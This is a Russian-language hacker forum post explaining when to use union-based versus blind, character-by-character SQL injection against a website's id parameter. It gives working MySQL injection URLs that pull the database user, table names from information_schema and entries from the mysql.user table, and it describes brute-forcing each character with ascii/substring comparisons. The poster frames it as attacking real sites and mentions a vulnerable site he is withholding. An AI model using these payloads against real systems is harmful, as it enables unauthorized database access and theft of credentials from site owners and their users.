|
Banned
Регистрация: 05.12.2005
Сообщений: 982
Провел на форуме: 4839935
Репутация:
1202
|
|
Разумеется, посимвольный (слепой, blind) брут будет пахать там, где пашет union.
Т.е. если по ссылке http://site/?id=-1+union+select+1,2,3,user()/* ты видишь имя хозяина базы, то ничто не мешает тебе получить результат обращаясь к этой же паге
http://site/?id=-1+and+ascii(lower(substring(user(),1,1))<254 и перебирая имя того же юзверя посимвольно. Но нах? =) когда его можно получить простым юнион запросом.
Т.е. если данные утилиты применять везде - они будут работать везде, но не всегда это будет рационально.
А вот если ты ставляешь http://site/?id=-1+union+select+1,2,3,user()/*, а в ответ ошибки нет, но и нифига не показало - вот тут и нужен слепой посимвольный брут, когда ответов на заданное услови только два - правильный и неправильный.
Т.е. http://site/?id=-1+and+1=1 и http://site/?id=-1+and+1=2 будут отличаться любым ключевым словом\символами, которые будут свидетельствовать о результате. Их и требуется подставить в матч, чтоб тулза распознавала ответ.
Эти тулзы автоматизируют сложные запросы вида
http://site/?id=-1+and+ascii(lower(substring(user(),1,1))<254
когда требуется перебирать каждый символ записи в диапазоне 1-254 ascii кодов.
Руками это делать очень долго.
ДА, как правило user() особо не поможет.
Если в ответ на version() выдало пятую ветку mysql, значит мона прыгать от радости и ржать над проколовшимся админом, ибо теперь все данные можно получить
http://site/?id=-1+and+ascii(lower(substring((select+table_name+fro m+information_schema.tables),1,1))<254 и далее.
Если же версия четвертая(как правило так и есть), то никто не отменял заветную
http://site/?id=-1+and+ascii(lower(substring((select+users+from+myq l.user),1,1))<254
Я не стану выкладывать бажный сайт, поскольку пипец ему придёт минут через 30 после моего поста. Думаю и так понятно объяснил принцип.
|